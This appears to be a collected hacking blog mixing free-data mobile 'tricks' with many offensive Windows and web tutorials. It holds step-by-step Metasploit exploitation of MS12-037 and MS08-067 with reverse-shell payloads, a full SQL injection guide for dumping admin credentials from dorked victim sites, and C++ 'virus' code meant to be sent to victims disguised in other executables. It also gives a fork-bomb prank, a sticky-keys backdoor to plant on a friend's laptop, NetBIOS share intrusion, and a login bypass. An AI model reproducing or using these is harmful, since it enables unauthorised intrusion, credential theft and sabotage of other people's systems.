Free Twitter On Vodafone For 3 Months

Hello readers…

Today I am providing good news for Vodafone users. Now Vodafone users can avail Free Twitter for 90 days. Prepaid and Postpaid users both can avail this offer for free.

How to use it On your Mobile :

Click to read more.......

Free Facebook In Airtel And 500MB Free

Hello Readers!!
 

Today I am Posting a new Airtel trick using which you can use free FACEBOOK on pc and mobile both for free for 500MB
 
Its First on GPRS world. Free Facebook In Airtel for 1 Month with 500 Mb Data.
You just do Below Steps:-

Click to read more……..

BSNL Highspeed Ip-Server 2G/3G trick august/September 2013

Hello and welcome to indiahackersgroup. Today i am providing you yet another bsnl 3g GPRS trick.

Trick give you 100000% high speed but only working with old BSNL Sim (Don’t afraid to try it for once, you may get it in new sim also).

This portal IP work very fine, working in rajasthan, Bangalore, Jharkhand, bihar and mohali. This trick tested by me in my Samsung galaxy mobile phone, please use in your area and send me reply.

Features of BSNL ip trick high speed gprs both work pc and mobile support all 2g and 3g mobile support social.......


Continue to read more……..

 

USEFULL RUN COMMANDS FOR WINDOWS

Here is a list of commands that you can run off from the Run Command prompt in WINDOWS:

Program Run Command (all successfully checked with XP)

Accessibility Controls = access.cpl
Accessibility Wizard = accwiz
Add Hardware Wizard = hdwwiz.cpl
Add/Remove Programs = appwiz.cpl
Administrative Tools = control admintools
Adobe Acrobat ( if installed ) = acrobat
Adobe Distiller ( if installed ) = acrodist
Adobe ImageReady ( if installed ) = imageready
Adobe Photoshop ( if installed ) = photoshop
Automatic Updates = wuaucpl.cpl
Basic Media Player = mplay32
Bluetooth Transfer Wizard = fsquirt
Calculator = calc
Ccleaner ( if installed ) = ccleaner
C: Drive = c:
Certificate Manager = cdrtmgr.msc
Character Map = charmap
Check Disk Utility = chkdsk
Clipboard Viewer = clipbrd
Command Prompt = cmd
Command Prompt = command
Component Services = dcomcnfg
Computer Management = compmgmt.msc 

Click to read more....

HACK TO SHUTDOWN ALL NETWORK COMPUTERS

This is a awesome Method to shutdown all Computers at school, libary ....etc.

This method only works if you are Sharing connection with other computers or if u r within a interconnected network.

Step #1: Lets start ;) so first of all Open CMD if the Admin Blocked it , then : Open Notepad and write: Code: command.com

Step #2: save it as "whatever you want.bat". (without quotes).Excute it ! Once CMD Opened : #1 Type "@Echo Off" And press Enter. (without quotes). #2 then CLS. #3 to see if there are others in the same Server or not type : "netstat" and press Enter. (without quotes). #4 So as you can see, where mine says idex, that is the name of my computer, so if your in a school, you and everyone else should have a similar name (this is not vital).

Click to continue reading.....

Hacking windows using MS12-037 Internet Explorer Same ID Vulnerability

Hi Readers members, Today i am going to explain how to hack the Windows system using the recent IE exploit. This article is intend to educate PenTesters.

Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing a deleted object, aka "Same ID Property Remote Code Execution Vulnerability."

 Two technologies in modern OS are used to make exploits of this sort harder: DEP (data execution prevention) and ASLR (address-space layout randomisation).

DEP is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow. (wiki)

ASLR loads software modules such as DLLs into memory at randomised locations. Moving system DLLs around makes it harder for hackers to guess where to find the library functions they need, such as URLDownloadToFile() and CreateProcess().

But DEP and ASLR don't make remote code execution attacks impossible -just trickier.

In the case of CVE-2012-1875, ASLR can be bypassed by trying to force Internet Explorer to find and load an old version of the Microsoft C runtime DLL - one which was compiled before ASLR become the norm, and

therefore doesn't support it. Whenever you load a non-ASLR DLL, even into an ASLR-enabled program, you can predict where it will end up.

And DEP is bypassed using a technique known as ROP, or return-oriented programming.

Exploit for the Internet Explorer Same ID Vulnerability (CVE-2012-1875 ) :

Requirements :

Target OS: XP3

Attacker OS : Backtrack or any PenTesting Distros

As usual , you have to create two VMs in your VirtualBox.

Preparing victim system:

Install the XP3 in one of the VM. Change the VM's Network adapter to the Host-only-adapter. (if you don't know what i am talking about, then please use this Virtualbox manual)

Preparing the Attacker system:

Update the Metasploit modules by entering the following command in Terminal:

msfupdate

Or you can download the 'ms12_037_same_id.rb' module and paste in this directory "/opt/metasploit/msf3/modules/exploits/windows/browser/"

Configuring settings for the exploit in Metasploit:

Open the Terminal and type "msfconsole" to get the Metasploit console.

Type " use exploit/windows/browser/ms12_037_same_id" in the console.

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Command: set SRVHOST 192.168.56.10

Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set URIPATH /

Details: The path in which our exploit will run.

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

Ok, let us launch the exploit.

Type "exploit" in the console.

Now the exploit is started. Our exploit is running at "http://192.168.56.10:8080/".

Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

[*] Client requesting: /

[*] Using JRE ROP

[*] Sending html

[*] Sending stage (752128 bytes) to 192.168.56.12

[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.12:1685) 

Type "sessions" to list the active sessions . Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter.

Now , You can control the victim system from computer using meterpreter.

For example:

'upload /Test.exe c:\\", this command will upload the Test.exe from the root('file system' dir) folder of the BT5 to the C drive of the Target.

'execute -f C:\\Test.exe", this command will run our uploaded File in the Target.

How to create CON folder in windows

Not only CON, we cannot create any of these-

CON, PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 and more.. The reason is that con, prn, lpt1.. lpt9, etc are underlying devices from the time dos was written. So if u r allowed to create such folders, there will be an ambiguity in where to write data when the data is supposed to go to the specified devices. In other words, if i want to print something, internally what windows does is -- it will write the data to the folder prn (virtually u can call it a folder, i mean prn, con, etc are virtual folders in device level). So if we are able to create con folder, windows will get confused where to write the data, to virtual con folder or real one.

So Now, Try this...

Open the Command prompt by 

Start -> Run and typing cmd

Code:-

C:\> md \\.\c:\con

Now, Open My Computer and browse through the path where you created CON folder... Surprising.. ?? Yeah.. you have created it successfully

Now, try to delete the folder from My computer

OOPS!!! You cant delete it...

Now, try this in command prompt console

Code:-

C:\> rd \\.\c:\con 

Yeah!! You did it...

******SHARE IF YOU LIKE THIS********

How to hack a remote computer??

By exploiting the parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability. 

Details about Server Service Vulnerability(MS08-067):

Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The 'NetprPathCanonicalize()' function in the 'netapi32.dll' file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.

This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

*Requirements*

1. VirtualBox

2. Backtrack 5

3. Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely "Target" and "BT5". Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.

Step 2: Find the IP address of Target

Open The command prompt in the Target machine(XP). Type "ipconfig" to find the IP address of the Target system.

"I use different method for finding the ip address of victim. For Eg., By sending link that will get the ip details or use Angry IP Scanner."

Step 3: Information Gathering

Now let us collect some information about the Target machine. For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type "nmap -O 192.168.56.12". Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.

Step 4: Metasploit

Now open the Terminal in the BT5 machine(Backtrack) and Type "msfconsole".

The msfconsole is the most popular interface to the Metasploit Framework. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type "search netapi". Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type "use exploit/windows/smb/ms08_067_netapi".

Step 5: Set Payload

As usual, let use the Reverse Tcp Payload for this exploit also. Type "set payload windows/meterpreter/reverse_tcp" in the msfconsole.

Step 6: Options

Type "set LHOST 192.168.56.10". Here 192.168.56.10 is IP address of Backtrack machine. You can find the ip address by typing 'ifconfig' command in the Terminal.

Type "set RHOST 192.168.56.12". Here 192.168.56.12 is IP address of Target machine.

Step 7: Exploiting

Ok, it is time to exploit the vulnerability, type "exploit" in the console. If the exploit is successful, you can see the following result.

Now we can control the remote computer using the meterpreter. For example, typing "screenshot" will grab the screenshot of the victim system.

Preventive Measures:

Update your Windows OS frequently..

C++ Batch Virus code to disable All Hard disk

Hi friends, here i give you give the C++ virus code. Actually Batch code is converted to C++ virus code. If you like you can use it as batch code also..

#include < windows.h > #include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\Hackersgrp.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\Hackersgrp.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; 

}

Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp

*Note:-
Don't run this c++ program, it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.

Chat with your friend with your command prompt

HEAR R THE STEPS>>>

1. All you need is your friends IP address and your Command Prompt.

2. Open your notepad and write tis code as it is.................. I would prefer you to copy this !

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

3. Now save this as "Messenger.Bat".

4. Drag this file (.bat file)over to Command Prompt and press enter!

5. You would then see some thing like this:

MESSENGER
User:

6. After "User" type the IP address of the computer you want to contact.

7. Before you press "Enter"
it should look like this:

MESSENGER
User: IP_Address
Message: Hi, How are you ?

8. Now all you need to do is press "Enter",
and start chatting

ENJOY YOUR SELF.........

Hack through Sql injection

Before we see what SQL Injection is. We should know what SQL and Database are.

Database: 

Database is collection of data. In website point of view, database is used for storing user ids, passwords, web page details and more. 

Some List of Database are: 

* DB servers,

* MySQL(Open source), 

* MSSQL, 

* MS-ACCESS, 

* Oracle, 

* Postgre SQL(open source), 

* SQLite, 

SQL:

Structured Query Language is Known as SQL. In order to communicate with the Database ,we are using SQL query. We are querying the database so it is called as Query language. 

Definition from Complete reference:

SQL is a tool for organizing, managing, and retrieving data stored by a computer

database. The name "SQL" is an abbreviation for Structured Query Language. For

historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation

"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to

interact with a database. In fact, SQL works with one specific type of database, called a

relational database. 

Simple Basic Queries for SQL: 

Select * from table_name :

this statement is used for showing the content of tables including column name.

For eg:

select * from users; 

Insert into table_name(column_names,...) values(corresponding values for columns):

For inserting data to table.

For eg:

insert into users(username,userid) values("hackersgrp","kumar"); 

I will give more detail and query in my next thread about the SQL QUERY. 

What is SQL Injection?

SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database. 

What an attacker can do? 

* ByPassing Logins

* Accessing secret data

* Modifying contents of website

* Shutting down the My SQL server 

Now let's dive into the real procedure for the SQL Injection.

Follow my steps. 

Step 1: Finding Vulnerable Website:

Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites. 

Some Examples:

inurl:index.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:pageid= 

How to use?

copy one of the above command and paste in the google search engine box.

Hit enter.

You can get list of web sites.

We have to visit the websites one by one for checking the vulnerability.

So Start from the first website. 

Note:if you like to hack particular website,then try this:

site:www.victimsite.com dork_list_commands

for eg: 

site:www.victimsite.com inurl:index.php?id= 

Step 2: Checking the Vulnerability:

Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)

For eg: 

http://www.victimsite.com/index.php?id=2' 

If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable. 

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!! 

For eg: 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 

Step 3: Finding Number of columns:

Now we have found the website is vulnerable. Next step is to find the number of columns in the table. 

For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement) 

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ". 

For eg: 

http://www.victimsite.com/index.php?id=2 order by 1

http://www.victimsite.com/index.php?id=2 order by 2

http://www.victimsite.com/index.php?id=2 order by 3

http://www.victimsite.com/index.php?id=2 order by 4

change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1". 

I mean: 

http://www.victimsite.com/index.php?id=2 order by 1(noerror)

http://www.victimsite.com/index.php?id=2 order by 2(noerror)

http://www.victimsite.com/index.php?id=2 order by 3(noerror)

http://www.victimsite.com/index.php?id=2 order by 4(noerror)

http://www.victimsite.com/index.php?id=2 order by 5(noerror)

http://www.victimsite.com/index.php?id=2 order by 6(noerror)

http://www.victimsite.com/index.php?id=2 order by 7(noerror)

http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement. 

For eg: 

http://www.victimsite.com/index.php?id=2 order by 1-- 

Step 4: Displaying the Vulnerable columns:

Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the "order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,). 

For eg:

if the number of columns is 7 ,then the query is as follow: 

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7-- 

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns). 

Like this:

Now select 1 number.

It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user

Now replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7-- 

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7-- 

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7-- 

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7-- 

Step 6: Finding the Table Name

if the version is 5 or above. Then follow these steps. Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- Now it will show the list of table names. Find the table name which is related with the admin or user. 

Now select the "admin " table.

if the version is 4 or some others, you have to guess the table names. (user, tbluser). It is hard and bore to do sql inection with version 4.

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MysqlChar() for Tablename:

First of all install the HackBar addon:

https://addons.mozilla.org/en-US/firefox/addon/3899/

Now

select sql->Mysql->MysqlChar() 

This will open the small window ,enter the table name which you found. i am going to use the admin table name.

click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)-- 

Now it will show the list of columns.

like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.

anothercolumnname should be replace from the listed column name.

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2 

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin-- 

Sometime it will show the column is not found.

Then try another column names

Now it will Username and passwords.

Enjoy..!!cheers..!!

If the website has members then jock-bot for you. You will have the list of usernames and password. 

Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs. 

Step 8: Finding the Admin Panel:

Just try with url like:

http://www.victimsite.com/admin.php

http://www.victimsite.com/admin/

http://www.victimsite.com/admin.html

http://www.victimsite.com:2082/ 

etc.

If you have luck ,you will find the admin page using above urls. or try this list .

Note:

This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing.

How to hack into windows xp without changing password

There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorization.

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or
DVD drive.

2. Download DreamPackPL http://depositfiles.com/en/files/395974

3. Unzip the downloaded dreampackpl_iso.zip and you’ll get dreampackpl.ISO

4. Use any burning program that can burn ISO images

5. After you have the disk, boot from the CD or DVD drive. You will see
Windows 2000 Setup and it will load some files.

6. Press “R” to install DreamPackPL.

7. Press “C” to install DreamPackPL by using the recovery console.

8. Select the Windows installation that is currently on the computer (Normally
is“1″ if you only have one Windows installed)

9. Backup your original sfcfiles.dll by typing:“ren C:\Windows\System32
\sfcfiles.dll sfcfiles.lld” (without quotes)

10. Copy the hacked file from CD to system32 folder. Type:“copy D:\i386
\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and
assuming your CD drive is D:)

11. Type “exit”, take out disk and reboot.

12. In the password field, type “dreamon” (without quotes) and DreamPack
menu will appear.

13. Click the top graphic on the DreamPack menu and you will get a menu
popup.

14. Go to commands and enable the options and enable the god command.

15. Type “god” in the password field to get in Windows.You can also go to
Passwords and select “Logon with wrong password and hash”.

This option allows you to login with ANY password.

Crash Anyones Computer

This is intended as a joke and for educational use the purpose of this is not to remove everything from their desktop but to just crash their computer and scare them a little bit.
Ok. So open up notepad.

Type there:
Code:
start
start
start
start
start
start
start
start

hax.bat

Save the file as hax.bat

Also Try

Code:
@echo off
:main
start
goto main

Do not open on your own computer !!!
Say to your friend that this is account hacker or something.
And boom computer crashed.
If you dont think it works go ahead and open it urself...

ANOTHER WAY OF SYSTEM INTRUSION

The following article explains the method used for hacking into another persons computer remotely using command prompt in your network ie network computer hacking,I have also posted another article regarding computer hacking termed as How to hack a computer by netbios Hacking
---------------------------------------------------------------------------------------------
Hacking into another persons computer - Method
---------------------------------------------------------------------------------------------
Step 1
First of all,get a good IP scanner angry ip scanner is a good one you can get it here:
http://www.angryip.org/w/Home

Step 2
Now click on start and then goto run and then type there "CMD" and press ok

This is what you see:
c:\windows>

Now this is what you have to do ---->>>

Replace 255.255.255.255 with the victims IP address.

c:\windows>nbtstat -a 255.255.255.255

If you see this your in NetBIOS Remote Machine Name Table

Name Type Status ---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find another victim.

Step 3:

Type down:

c:\windows>net view \\255.255.255.255

If the output is like this:

Shared resources at \\255.255.255.255
ComputerNameGoesHere

Sharename Type Used as Comment

------------------------------------------------------------
CDISK Disk xxxxx xxxxx

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4

you can replace x: by any letter you want but not the letter of your own drive.

CDISK is the name of the shared harddrive.

Now type:
c:\windows>net use x: \\255.255.255.255\CDISK

If the command is successful you are a small time hacker.

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.

Note to newbies: This hack will only work if you have the ip of someone on your network. It will not work if the ip of the person you want to "hack" is not on your network.

Tip: If you can only access your targets shared folder put a batch file in their shared folder with the command C=C if they open it,it will share their hardrive.

Hacking PC through NetBios

Netbios Hacking to gain Access to Remote Computer

THIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER. NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.

STEP-BY-STEP NETBIOS HACKING PROCEDURE

1.Open command prompt

2. In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS. BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

download IP tools here
http://www.ks-soft.net/ip-tools.eng/downpage.htm

Example: C:\>net view \\219.64.55.112

The above is an example for operation using command prompt. “net view” is one of the netbios command to view the shared resources of the remote computer. Here “219.64.55.112″ is an IP address of remote computer that is to be hacked through Netbios. You have to substitute a vlaid IP address in it’s place. If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown. If not an error message is displayed. So repeat the procedure 2 with a different IP address.

3. After succeeding, use the “net use” command in the command prompt. The “net use” is another netbios command which makes it possible to hack remote drives or printers.
Example-1:
C:\>net use D: \\219.64.55.112\F
Example-2:
C:\>net use G: \\219.64.55.112\SharedDocs
Example-3:
C:\>net use I: \\219.64.55.112\Myprint

NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES, FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER. THAT IS, IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer. These are displayed after giving “net use” command. “219.64.55.112″ is the IP address of remote computer that you want to hack.

4. After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.

Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name. You can open it and access remote computer’s Hard-Drive. You can copy files, music, folders etc. from victim’s hard-drive. You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system. You can access files/folders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios. That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed). So Repeat The Procedure 2,3 With Different IP Address.

ENJOy NetBios Hacking

Setting Backdoor in Windows | Command Prompt On Logon Screen

Setting Backdoor in Windows | Command Prompt On Logon Screen

lets assume that you have just cracked victim's windows password. or simply got access to his windows for some time.Can you make some changes in windows so that you could access the windows again even if victim changes the password ?? or Can you make any changes in your own windows so that you could access it anytime even if anybody sets/changes password ?
Simply Can we set a backdoor in windows ?
Yes we can :) .
Backdoor actually means maintaining access.
okay lets do one thing first. Open your command prompt (run as administrator in win 7/vista).

Type the following command :

Syntax : net user account.name *
Example: net user administrator *
and hit enter. Set any password for that account.

Hopefully your new password must have been set. did you notice one thing ? It didn't ask you to confirm old password. Now suppose if anyhow we manage to access command prompt at logon screen (without logging in), we can easily change/clear password.
Okay lets move on.
Now press shift key five times and you must have got a dialog box "sticky keys" on screen.
Sticky keys is a feature that makes it easy for users who have physical disablilities to press multiple keys at time. This is the only feature which can be used before logging in at logon screen ( as per my knowledge). I repeat this feature can be used at logon screen by pressing shift key five times.
Whenevr we start an application like paint, we are actually running mspaint.exe placed in C:\windows\system32. or command prompt, we are running cmd.exe placed in system32 directory, similary
When we press shift key 5 times or use sticky keys feature, system actually starts the executable file
sethc.exe placed in system32 directory. This means if we rename cmd.exe to sethc.exe and press shift 5 times, system would again start sethc.exe but instead of sticky keys the command prompt will be opened.
But you just cant simply rename it or change system32 files. Follow the tutorial for that.

Tutorial :


* Go to C:\windows\system32
* Copy cmd.exe on your desktop and rename it to sethc.exe .
*Now copy that file and paste again in system32 directory.

@ Windows XP Users


Hopefully existing orignal sethc.exe must have been replaced and your job is done. Now press shift five times and you would see command prompt on screen.You can access command prompt at windows logon screen and change/clear the password easily using "net user" command.

Note: You can also do these changes while using windows Guest Account. But when you would access command prompt at logon screen, you can change/clear password even of administrator's account. This is exactly how , we can hack into administrator's account through guest account.

@ Windows vista/7 Users
You must have got a pop up box saying "Access Denied".
Actually you can not change system32 directory files until you do not have the permissions. You can not have the permissions until you do not have the ownership. So lets take ownership, change permissions, just follow the steps.

1. Right click on sethc.exe and run as administrator. Again right click on sethc.exe, open properties.
Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.

2. Then click on 'Edit' in security tab to edit permissions. Click on 'Administrators' , give it full control
and apply changes.

Okay its done now.

Now try replacing the orignal sethc.exe with our sethc.exe (got by renaming cmd.exe).
Press shift key five times and hopefully you would get command prompt on the screen instead of sticky keys.

Enjoy Command prompt at logon screen...

So do not forget to set this backdoor whenever you would get friend's laptop for a few minutes... :)

Tracking Browser detail, IP, Country, State of chat friend

In hacking ,IP address of the victim is most important to do any hacking activities with victim system,but question come how to know the IP of the victim at online timing.Today i am going to tell you how to know the IP address of the victim with chating in chat box.

By this method you also know the victim location mean his country ,city and localtime.

Chatrack is a website which provide the facility to track the victim IP address and geographical position. For going the site plz click below and free sign up...

http://chatrack.frihost.net/

1) After sign up sign in on the website and go to Track Codes option
2) chose a picture and click on the picture...
3) Copy the source code and paste in the chat box and say to the victim for click on the link ,when victim click on the link then he see a picture which chose by you and tracking start after 20 second go to chatrack and open the Track Result option,you got all information of the victim.
4) and than click Track result

That is it
Have Fun!!

Find Windows XP CD key inside your Windows XP CD

To get the Windows XP CD key, you have to do the following steps. Just follow the following steps and find Windows XP cd key into your windows XP CD.

Steps to follow to find Windows XP CD key:

Bring your Windows XP CD and insert it into your computer’s CD/DVD ROM/ RAM.

Now, browse your Windows XP CD and find the folder I386.

Inside I386 folder, find the file named as unattended.txt.

Open unattended.txt by using notepad.

At last, keep scrolling of the opened file and you will get Windows XP CD key.

Windows XP CD Key inside CD

To me, it’s the most amazing thing of Windows XP CD. In this way, you can get the Windows XP CD key into your Windows XP CD. The people who are not wish to buy XP or the people who lost the serial key of Windows XP CD, can find the Windows XP CD key in this way.

SYSTEM INTRUSION IN 15 SECONDS

System intrusion in 15 seconds, that’s right it can be done. If you possess certain security flaws your system can be broken into in less that 15 seconds.
To begin this context I’d like you to do the following. Connect to the Internet using your dial up account if you are on dial up. If you are on dedicated service like High Speed connections (ie, Cable and DSL) then just proceed with the steps below.
1. Click Start
2. Go to Run
3. Click Run (It’s a step by step manual) :-)
4. Type cmd
5. Hit the Enter Key
6. Then Type ipconfig /all

This should bring up a window that looks like the following

What you should see under IP address is a number that looks something like this.
10.16.136.244 (The number will be different.)

Once you have the IP address write it down, then close that window by clicking (OK) and do the following.
1. Click Start
2. Go to Run (Click on Run)
3. Type command then Click OK
At this point you should see a screen that looks like this.

Type the following at the Dos Prompt
• Nbtstat –A IP address
For example: nbtstat –A 10.16.136.244
(Please note that you must type the A in capital letters.)

This will give you a read out that looks like this

NetBIOS Remote Machine Name Table
___________________________________________
Name Type Status
-----------------------------------------------------------------
J-1 <00> UNIQUE Registered
WORK <00> GROUP Registered
J-1 <03> UNIQUE Registered
J-1 <20> UNIQUE Registered
WORK <1e> GROUP Registered
WORK <1d> UNIQUE Registered
__MSBROWSE__.<01>GROUP Registered

(Again info has been omitted due to privacy reasons)

The numbers in the <> are hex code values. What we are interested in is the “Hex Code” number of <20>. If you do not see a hex code of <20> in the list that’s a good thing. If you dohave a hex code <20> then you may have cause for concern. Now you’re probably confused about this so I’ll explain.

A hex code of <20> means you have file and printer sharing turned on. This is how a “hacker” would check to see if you have “file and printer sharing” turned on. If he/she becomes aware of the fact that you do have “file and printer sharing” turned on then they would proceed to attempt to gain access to your system.

(Note: To exit out of the DOS prompt Window, Type Exit and hit Enter)

I’ll show you now how that information can be used to gainaccess to your system. A potential hacker would do a scan on a range of IP address for systems with “File and Printer Sharing” turned on. Once they have encountered a system with sharing turned on the next step would be to find out what is being shared.
This is how:

Net view \\insert ip_address here

Our potential hacker would then get a response that looks something like this.
Shared resources at \\ip_address

Sharename Type Comment
---------------------------------------------------
MY DOCUMENTS Disk
TEMP Disk

The command was completed successfully.

This shows the hacker that his potential victim has their My Documents Folder shared and their Temp directory shared. For the hacker to then get access to those folders his next command will be.

Net use x: \\insert IP address here\temp

If all goes well for the hacker, he/she will then get a response of (The command was completed successfully.)

